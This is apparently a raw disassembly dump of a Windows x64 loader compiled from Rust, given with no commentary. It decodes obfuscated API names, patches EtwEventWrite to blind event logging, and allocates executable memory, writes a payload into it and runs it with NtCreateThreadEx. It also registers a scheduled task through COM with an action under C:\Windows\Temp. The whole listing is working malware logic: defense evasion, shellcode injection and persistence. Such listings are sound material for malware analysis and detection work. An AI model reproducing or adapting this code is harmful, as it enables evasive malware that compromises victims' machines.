lea rax, [rbp + 0xa0]
mov qword [rbp + 0x1d8], rax
lea rax, [fcn.140012cc0]
mov qword [rbp + 0x1e0], rax
lea rax, [0x140114418]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rsi
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de310
cmp qword [rbp + 0x360], 0
je 0x14000d6da
mov r8, qword [rbp + 0x368]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000d6da
mov ebx, eax
shl rbx, 0x20
test rsi, rsi
je 0x14000e807
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r13
call qword [sym.imp.kernel32.dll_HeapFree]
or rbx, 2
mov r13, rbx
cmp qword [rbp + 0x8c8], 0
lea rsi, [rbp + 0xa0]
mov rdi, qword [rbp + 0x8d8]
jne 0x14000dfe5
jmp 0x14000dffb
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
mov ecx, 1
mov edx, 1
call fcn.1401082c0
mov rbx, r13
sub r13, rbx
mov rax, qword [rbp + 0x510]
sub rax, r10
cmp rax, r13
jae 0x14000e882
lea rcx, [rbp + 0x510]
mov rdx, r10
mov r8, r13
call fcn.1401103f0
mov rcx, qword [rbp + 0x518]
mov r10, qword [rbp + 0x520]
add rdi, rbx
add rcx, r10
mov rdx, rdi
mov r8, r13
mov rdi, r10
call fcn.140106530
add r13, rdi
mov rax, qword [rbp + 0x510]
mov rdi, qword [rbp + 0x518]
movabs rcx, 0x8000000000000000
cmp rax, rcx
jne 0x14000e8f9
test r13, r13
je 0x14000e8e0
js 0x140010172
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r13
call fcn.1400df910
test rax, rax
je 0x1400101aa
mov rbx, rax
jmp 0x14000e8e5
mov ebx, 1
mov rcx, rbx
mov rdx, rdi
mov r8, r13
call fcn.140106530
mov rax, r13
mov rdi, rbx
mov qword [rbp + 0x4e0], rax
mov qword [rbp + 0x4e8], rdi
mov qword [rbp + 0x4f0], r13
test r14, r14
je 0x14000e925
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [rbp + 0x4e0]
mov qword [rbp + 0x780], rax
lea rax, [0x140006d10]
mov qword [rbp + 0x788], rax
lea rax, [0x140114340]
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x530], 0
lea rax, [rbp + 0x780]
mov qword [rbp + 0x520], rax
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140010f70
mov rax, qword [rbp + 0x800]
mov qword [rbp + 0x8d8], rax
mov rsi, qword [rbp + 0x808]
mov r14, qword [rbp + 0x810]
lea rax, str.actionC:WindowsTemp_
mov qword [rbp + 0x510], rax
lea rax, [0x14011432e]
mov qword [rbp + 0x518], rax
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140100800
mov rbx, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000ed7e
mov rcx, rbx
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rdi, rax
cmp qword [rbp + 0x800], 0
je 0x14000ea24
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
add r14, rsi
mov qword [rbp + 0x510], rsi
mov qword [rbp + 0x518], r14
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140100800
mov rbx, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000ed93
mov rcx, rbx
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r15, rax
cmp qword [rbp + 0x800], 0
je 0x14000ea90
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x510], 1
mov qword [rbp + 0x518], 1
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x510]
call fcn.140100800
mov r14, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000eda9
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rbx, rax
cmp qword [rbp + 0x800], 0
je 0x14000eb01
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x510], 1
mov qword [rbp + 0x518], 1
mov word [rbp + 0x520], 0
lea rcx, [rbp + 0x800]
lea r12, [rbp + 0x510]
mov rdx, r12
call fcn.140100800
mov r14, qword [rbp + 0x808]
mov rdx, qword [rbp + 0x810]
test rdx, rdx
je 0x14000edbe
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r13, rax
cmp qword [rbp + 0x800], 0
je 0x14000eb75
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x1d8], rdi
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], rbx
mov qword [rbp + 0x1f0], r13
cmp qword [rbp + 0x8d8], 0
je 0x14000ebad
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor r13d, r13d
xor ecx, ecx
xor edx, edx
call qword [sym.imp.ole32.dll_CoInitializeEx]
mov bl, 1
test eax, eax
js 0x14000eedc
mov qword [rbp + 0x510], 0
mov qword [rsp + 0x20], r12
lea rcx, [0x140173888]
lea r9, [0x140173850]
xor edx, edx
mov r8d, 0x17
call qword [sym.imp.ole32.dll_CoCreateInstance]
mov r15, qword [rbp + 0x510]
test eax, eax
js 0x14000edd4
test r15, r15
je 0x14000edf5
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x338], xmm0
movdqu xmmword [rbp + 0x788], xmm0
movdqu xmmword [rbp + 0x808], xmm0
movdqu xmmword [rbp + 0x518], xmm0
mov rax, qword [r15]
mov rax, qword [rax + 0x50]
mov qword [rbp + 0x330], 0
mov qword [rbp + 0x780], 0
mov qword [rbp + 0x800], 0
mov qword [rbp + 0x510], 0
mov qword [rsp + 0x20], r12
lea rdi, [rbp + 0x330]
lea rsi, [rbp + 0x780]
lea r9, [rbp + 0x800]
mov rcx, r15
mov rdx, rdi
mov r8, rsi
call rax
test eax, eax
js 0x14000edec
mov qword [rbp + 0x510], 0
mov rax, qword [r15]
lea r8, [rbp + 0x510]
mov rcx, r15
xor edx, edx
call qword [rax + 0x48]
test eax, eax
js 0x14000ee0d
mov r14, qword [rbp + 0x510]
test r14, r14
je 0x14000ee1c
mov qword [rbp + 0x510], 0
mov rax, qword [r14]
lea rdx, [rbp + 0x510]
mov rcx, r14
call qword [rax + 0x48]
test eax, eax
js 0x14000ee24
mov r12, qword [rbp + 0x510]
test r12, r12
je 0x14000ee33
mov qword [rbp + 0x510], 0
mov rax, qword [r14]
lea rdx, [rbp + 0x510]
mov rcx, r14
call qword [rax + 0x38]
test eax, eax
js 0x14000ee3b
mov rax, qword [rbp + 0x510]
test rax, rax
je 0x14000ee47
mov qword [rbp + 0x8d8], rax
lea rcx, [rbp + 0x510]
mov rdx, r14
call fcn.1401016f0
cmp qword [rbp + 0x510], 0
mov r13, qword [rbp + 0x518]
jne 0x14000eeb3
lea rcx, [rbp + 0x510]
mov rdx, r14
call fcn.140101680
cmp qword [rbp + 0x510], 0
mov rax, qword [rbp + 0x518]
je 0x14000ee4c
mov rsi, rax
jmp 0x14000eea6
xor edi, edi
cmp qword [rbp + 0x800], 0
jne 0x14000ea12
jmp 0x14000ea24
xor r15d, r15d
cmp qword [rbp + 0x800], 0
jne 0x14000ea7e
jmp 0x14000ea90
xor ebx, ebx
cmp qword [rbp + 0x800], 0
jne 0x14000eaef
jmp 0x14000eb01
xor r13d, r13d
cmp qword [rbp + 0x800], 0
jne 0x14000eb63
jmp 0x14000eb75
mov ecx, eax
call fcn.140100b40
mov r13, rax
test r15, r15
jne 0x14000eed3
jmp 0x14000eedc
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
xor r13d, r13d
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
jne 0x14000eee8
jmp 0x14000ef13
mov ecx, eax
call fcn.140100b40
mov r13, rax
jmp 0x14000eed3
xor r13d, r13d
jmp 0x14000eed3
mov ecx, eax
call fcn.140100b40
mov r13, rax
jmp 0x14000eeca
xor r13d, r13d
jmp 0x14000eeca
mov ecx, eax
call fcn.140100b40
mov r13, rax
jmp 0x14000eec0
xor r13d, r13d
jmp 0x14000eec0
mov qword [rbp + 0x8c8], rax
lea rcx, [0x14014a348]
mov edx, 1
call fcn.140100780
lea rcx, [rbp + 0x510]
mov rdx, r15
mov r8, rax
call fcn.140101930
cmp qword [rbp + 0x510], 0
mov rax, qword [rbp + 0x518]
mov qword [rbp + 0x8c0], rax
je 0x14000f766
mov rcx, qword [rbp + 0x8c8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rsi, qword [rbp + 0x8c0]
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov r13, rsi
mov rcx, qword [rbp + 0x8d8]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r14]
mov rcx, r14
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
mov rcx, qword [rbp + 0x1d8]
test rcx, rcx
je 0x14000ef13
mov qword [rbp + 0x510], 0
lea rax, [rbp + 0x1d8]
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100730
mov rcx, qword [rbp + 0x1e0]
test rcx, rcx
je 0x14000ef4a
lea rax, [rbp + 0x1e0]
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100730
mov rcx, qword [rbp + 0x1e8]
test rcx, rcx
je 0x14000ef81
mov qword [rbp + 0x510], 0
lea rax, [rbp + 0x1e8]
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100730
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x14000efb8
lea rax, [rbp + 0x1f0]
mov qword [rbp + 0x510], 0
mov qword [rbp + 0x518], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x510]
call fcn.140100730
cmp qword [rbp + 0x4e0], 0
je 0x14000efd8
mov r8, qword [rbp + 0x4e8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test bl, bl
je 0x14000f006
lea rsi, [rbp + 0xa8]
lea rdi, [rbp + 0xb0]
lea rcx, [rbp + 0xa0]
call fcn.140100b00
mov rcx, rsi
call fcn.140100b00
mov rcx, rdi
call fcn.140100b00
test r13, r13
je 0x14000f015
mov rax, qword [r13]
mov rcx, r13
call qword [rax + 0x10]
mov ecx, 5
call fcn.1400d5aa0
call sub.kernel32.dll_GetCurrentProcess
mov rsi, rax
lea rdx, str.4574774576656e745772697465
lea rcx, [rbp + 0x510]
mov r8d, 0x1a
call fcn.1400046a0
mov rax, qword [rbp + 0x510]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140010110
mov rdx, qword [rbp + 0x518]
mov rcx, qword [rbp + 0x520]
cmp rcx, 0x10
jae 0x14000f098
test rcx, rcx
je 0x14000f143
xor r9d, r9d
nop word [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000ff40
inc r9
cmp rcx, r9
jne 0x14000f080
jmp 0x14000f143
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f0ae
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f0dc
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000ff40
inc r9
cmp r8, r9
jne 0x14000f0c0
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f11e
movdqa xmm0, xmmword [0x140113770]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f11e
add r8, 0x10
cmp r8, r9
jbe 0x14000f0f0
mov r10, rcx
sub r10, r8
je 0x14000f143
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x14000ff3d
inc r9
cmp r10, r9
jne 0x14000f130
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
lea rcx, [rbp + 0x510]
call fcn.140010aa0
mov r14, rax
mov rbx, rdx
lea rdx, str.6e74646c6c2e646c6c
lea rcx, [rbp + 0x510]
mov r8d, 0x12
call fcn.1400046a0
mov rax, qword [rbp + 0x510]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x140010127
mov rdx, qword [rbp + 0x518]
mov rcx, qword [rbp + 0x520]
cmp rcx, 0x10
jae 0x14000f1d8
test rcx, rcx
je 0x14000f283
xor r9d, r9d
nop dword [rax]
cmp byte [rdx + r9], 0
je 0x14000ff68
inc r9
cmp rcx, r9
jne 0x14000f1c0
jmp 0x14000f283
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f1ee
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f21c
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000ff68
inc r9
cmp r8, r9
jne 0x14000f200
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f25e
movdqa xmm0, xmmword [0x140113770]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f25e
add r8, 0x10
cmp r8, r9
jbe 0x14000f230
mov r10, rcx
sub r10, r8
je 0x14000f283
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x14000ff65
inc r9
cmp r10, r9
jne 0x14000f270
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
lea rcx, [rbp + 0x510]
call fcn.140010aa0
mov r12, rax
mov rdi, rdx
lea rdx, str.4e7450726f746563745669727475616c4d656d6f7279
lea rcx, [rbp + 0x510]
mov r8d, 0x2c
call fcn.1400046a0
mov rax, qword [rbp + 0x510]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14001013e
mov rdx, qword [rbp + 0x518]
mov rcx, qword [rbp + 0x520]
cmp rcx, 0x10
jae 0x14000f318
test rcx, rcx
je 0x14000f3c3
xor r9d, r9d
nop dword [rax]
cmp byte [rdx + r9], 0
je 0x14000ff90
inc r9
cmp rcx, r9
jne 0x14000f300
jmp 0x14000f3c3
lea r8, [rdx + 7]
and r8, 0xfffffffffffffff8
sub r8, rdx
jne 0x14000f32e
lea r9, [rcx - 0x10]
xor r8d, r8d
jmp 0x14000f35c
cmp r8, rcx
cmovae r8, rcx
xor r9d, r9d
nop dword [rax + rax]
cmp byte [rdx + r9], 0
je 0x14000ff90
inc r9
cmp r8, r9
jne 0x14000f340
lea r9, [rcx - 0x10]
cmp r8, r9
ja 0x14000f39e
movdqa xmm0, xmmword [0x140113770]
movabs r10, 0x8080808080808080
nop
movdqu xmm1, xmmword [rdx + r8]
movdqa xmm2, xmm1
paddq xmm2, xmm0
pandn xmm1, xmm2
pshufd xmm2, xmm1, 0xee
por xmm2, xmm1
movq r11, xmm2
test r11, r10
jne 0x14000f39e
add r8, 0x10
cmp r8, r9
jbe 0x14000f370
mov r10, rcx
sub r10, r8
je 0x14000f3c3
lea r11, [rdx + r8]
xor r9d, r9d
nop dword [rax]
cmp byte [r11 + r9], 0
je 0x14000ff8d
inc r9
cmp r10, r9
jne 0x14000f3b0
mov qword [rbp + 0x8c0], rdi
mov qword [rbp + 0x8d8], rbx
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], rdx
mov qword [rbp + 0x520], rcx
lea rcx, [rbp + 0x510]
call fcn.140010aa0
mov r15, rax
mov rbx, rdx
mov rcx, r12
call sub.kernel32.dll_GetModuleHandleA
mov rcx, rax
mov rdi, r14
mov rdx, r14
call sub.kernel32.dll_GetProcAddress
mov r13, rax
mov rcx, r12
call sub.kernel32.dll_GetModuleHandleA
mov rcx, rax
mov rdx, r15
call sub.kernel32.dll_GetProcAddress
mov r14, rax
mov qword [rsp + 0x20], 0
mov r8d, 4
mov rcx, rsi
mov rdx, r13
mov r9d, 4
call rax
mov qword [rsp + 0x20], 0
lea r8, [0x140114548]
mov r9d, 4
mov rcx, rsi
mov rdx, r13
call sub.kernel32.dll_WriteProcessMemory
mov qword [rsp + 0x20], 0
mov r8d, 4
mov rcx, rsi
mov rdx, r13
xor r9d, r9d
call r14
mov r8d, 4
mov rcx, rsi
mov rdx, r13
call sub.kernel32.dll_FlushInstructionCache
mov byte [r15], 0
test rbx, rbx
je 0x14000f4ac
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [r12], 0
cmp qword [rbp + 0x8c0], 0
lea rsi, [0x140114278]
mov r15, qword [rbp + 0x508]
mov r13, qword [rbp + 0x8d0]
je 0x14000f4e2
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
mov byte [rdi], 0
cmp qword [rbp + 0x8d8], 0
mov r14, qword [rbp + 0x778]
mov rbx, qword [rbp + 0x7d8]
je 0x14000f50f
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x510], rsi
mov qword [rbp + 0x518], 1
mov qword [rbp + 0x520], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x528], xmm0
lea rcx, [rbp + 0x510]
call fcn.1400de310
mov qword [rbp + 0x1d8], 0
mov qword [rbp + 0x360], r13
mov dword [rbp + 0xa0], 0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x48]
test rsi, rsi
jne 0x14000f590
call fcn.14004a290
test rax, rax
je 0x140010177
mov rsi, qword [rax]
inc qword [rsi]
je 0x1400104c7
mov rax, qword [rsi + 0x110]
cmp rax, 0x40
jb 0x14000f5e2
lea rdx, [rsi + 0x10]
lea rcx, [rsi + 0x120]
mov rax, qword [rsi + 0x158]
test rax, rax
jle 0x14000f5db
cmp qword [rsi + 0x160], 0
js 0x14000f5db
add rax, 0xffffffffffffff00
mov qword [rsi + 0x158], rax
call fcn.14004a630
jmp 0x14000f5e0
call fcn.140004510
xor eax, eax
mov edi, dword [rsi + rax*4 + 0x10]
inc rax
mov qword [rsi + 0x110], rax
and edi, 1
or edi, 0x1000
dec qword [rsi]
jne 0x14000f616
dec qword [rsi + 8]
jne 0x14000f616
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0x20], edi
mov dword [rsp + 0x28], 0x40
lea rsi, [rbp + 0x1d8]
lea rdi, [rbp + 0x360]
mov rcx, 0xffffffffffffffff
mov rdx, rsi
xor r8d, r8d
mov r9, rdi
call qword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
mov rdx, qword [rbp + 0x1d8]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, rbx
mov r9, r13
call qword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffffffffffff
mov rdx, rsi
mov r8, rdi
mov r9d, 0x50
call qword [sym.imp.ntdll.dll_NtProtectVirtualMemory]
mov qword [rbp + 0x510], 0
mov rax, qword [rbp + 0x1d8]
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea rcx, [rbp + 0x510]
mov edx, 0x1fffff
xor r8d, r8d
mov r9, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtCreateThreadEx]
mov rcx, qword [rbp + 0x510]
xor edx, edx
xor r8d, r8d
call qword [sym.imp.ntdll.dll_NtWaitForSingleObject]
test r15, r15
je 0x14000f70b
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov bl, 1
cmp qword [rbp + 0x768], 0
je 0x14000f734
mov rcx, qword [0x140182260]
xor esi, esi
xor edx, edx
mov r8, qword [rbp + 0x8b8]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000baf9
xor esi, esi
jmp 0x14000baf9
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
lea r9, [0x14013f8e8]
lea r8, [rbp + 0x8e7]
mov edx, 0x17
call fcn.1401088e0
mov qword [rbp + 0x8b0], r13
mov qword [rbp + 0x8a8], r14
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
movdqu xmm0, xmmword [rbp + 0xa0]
movdqu xmm1, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x520], xmm1
movdqa xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x800], 0
mov rax, qword [r12]
lea r8, [rbp + 0x800]
mov qword [rbp + 0x8a0], r12
mov rcx, r12
mov edx, 6
call qword [rax + 0x50]
test eax, eax
js 0x14000fdb5
mov r15, qword [rbp + 0x800]
test r15, r15
je 0x14000fdc1
mov qword [rbp + 0x800], 0
mov rax, qword [r15]
lea rdx, [0x140173830]
lea r8, [rbp + 0x800]
mov rcx, r15
call qword [rax]
mov r12, qword [rbp + 0x800]
test eax, eax
js 0x14000fdc6
test r12, r12
je 0x14000fdfd
mov rdx, qword [rbp + 0x510]
mov rax, qword [r12]
mov rax, qword [rax + 0x48]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000f875
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov r14b, 1
test ebx, ebx
js 0x14000fdf3
mov rax, qword [r12]
mov rcx, r12
mov dx, 1
call qword [rax + 0x98]
test eax, eax
js 0x14000fdf3
mov rdx, qword [rbp + 0x520]
mov rax, qword [r12]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000f8f8
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
test ebx, ebx
js 0x14000ff33
mov qword [rbp + 0x800], 0
mov rax, qword [r12]
lea rdx, [rbp + 0x800]
mov rcx, r12
call qword [rax + 0x50]
test eax, eax
js 0x14000ffd7
mov rbx, qword [rbp + 0x800]
test rbx, rbx
je 0x14000ff33
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbx]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0x800], 1
lea r14, [rbp + 0x808]
mov qword [rbp + 0x808], rdx
mov rcx, rbx
call rax
mov r13d, eax
mov rcx, r14
call fcn.140100b00
test r13d, r13d
js 0x14000ffe5
movzx edx, word [rbp + 0x528]
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x60]
test eax, eax
js 0x14000ffe5
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x10]
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
movdqu xmm0, xmmword [rbp + 0x1d8]
movdqu xmm1, xmmword [rbp + 0x1e8]
movdqa xmmword [rbp + 0x520], xmm1
movdqa xmmword [rbp + 0x510], xmm0
mov qword [rbp + 0x800], 0
mov rcx, qword [rbp + 0x8b0]
mov rax, qword [rcx]
lea r8, [rbp + 0x800]
xor edx, edx
call qword [rax + 0x60]
test eax, eax
js 0x140010056
mov r15, qword [rbp + 0x800]
test r15, r15
je 0x1400101a2
mov qword [rbp + 0x800], 0
mov rax, qword [r15]
lea rdx, str.MbLk
lea r8, [rbp + 0x800]
mov rcx, r15
call qword [rax]
mov r12, qword [rbp + 0x800]
test eax, eax
js 0x1400101b7
test r12, r12
je 0x140010239
mov rdx, qword [rbp + 0x518]
mov rax, qword [r12]
mov rax, qword [rax + 0x58]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov dword [rbp + 0x774], eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000fa9d
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov bl, 1
cmp dword [rbp + 0x774], 0
js 0x1400101d2
mov rdx, qword [rbp + 0x510]
mov rax, qword [r12]
mov rax, qword [rax + 0x40]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov r13d, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000fb0c
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
test r13d, r13d
js 0x1400101d2
mov rdx, qword [rbp + 0x520]
mov rax, qword [r12]
mov rax, qword [rax + 0x78]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000fb74
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
mov r14b, 1
test ebx, ebx
js 0x1400103bc
mov rdx, qword [rbp + 0x528]
mov rax, qword [r12]
mov rax, qword [rax + 0x68]
mov qword [rbp + 0x780], 1
mov qword [rbp + 0x788], rdx
mov rcx, r12
call rax
mov ebx, eax
mov rcx, qword [rbp + 0x788]
test rcx, rcx
je 0x14000fbde
mov qword [rbp + 0x800], 0
lea rax, [rbp + 0x788]
mov qword [rbp + 0x808], rax
call qword [sym.imp.oleaut32.dll_SysFreeString]
lea rcx, [rbp + 0x800]
call fcn.140100730
test ebx, ebx
js 0x1400103f1
movabs rbx, 0xffffffff00000000
mov r14, qword [rbp + 0x8a0]
and rbx, r14
mov rax, qword [r12]
mov rcx, r12
call qword [rax + 0x10]
mov rax, qword [r15]
mov rcx, r15
call qword [rax + 0x10]
shr rbx, 0x20
mov dword [rbp + 0x374], ebx
mov rax, qword [rbp + 0x8b0]
mov qword [rbp + 0x378], rax
mov rax, qword [rbp + 0x8c8]
mov qword [rbp + 0x380], rax
mov rax, qword [rbp + 0x8c0]
mov qword [rbp + 0x388], rax
mov rax, qword [rbp + 0x8a8]
mov qword [rbp + 0x360], rax
mov rax, qword [rbp + 0x8d8]
mov qword [rbp + 0x368], rax
mov dword [rbp + 0x370], r14d
lea rcx, [rbp + 0x800]
lea rdx, [rbp + 0x360]
call fcn.1401019e0
cmp qword [rbp + 0x800], 0
je 0x1400103f8
mov rax, qword [rbp + 0x808]
mov ecx, dword [rbp + 0x810]
mov qword [rbp + 0x330], rax
mov dword [rbp + 0x338], ecx
mov qword [rbp + 0x780], rdi
lea rax, [0x140101760]
mov qword [rbp + 0x788], rax
lea rax, str.Error_registering_task:
mov qword [rbp + 0x510], rax
mov qword [rbp + 0x518], 2
mov qword [rbp + 0x530], 0
mov qword [rbp + 0x520], rsi
mov qword [rbp + 0x528], 1
lea rcx, [rbp + 0x510]
call fcn.1400de590
mov r13, qword [rbp + 0x330]
jmp 0x140010375
lea rcx, str.Pending_error_polled_more_than_once
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.27_src_async_implclient.rs
mov edx, 0x23
call fcn.140108990
mov qword [rbp + 0x800], rbx
lea rax, [rbp + 0xa0]
mov qword [rbp + 0x510], rax
lea rax, case.0x1400b36b6.828
mov qword [rbp + 0x518], rax
lea rcx, [rbp + 0x1d8]
mov qword [rbp + 0x520], rcx
mov qword [rbp + 0x528], rax
mov qword [rbp + 0x530], rsi
lea rax, [fcn.1400da120]
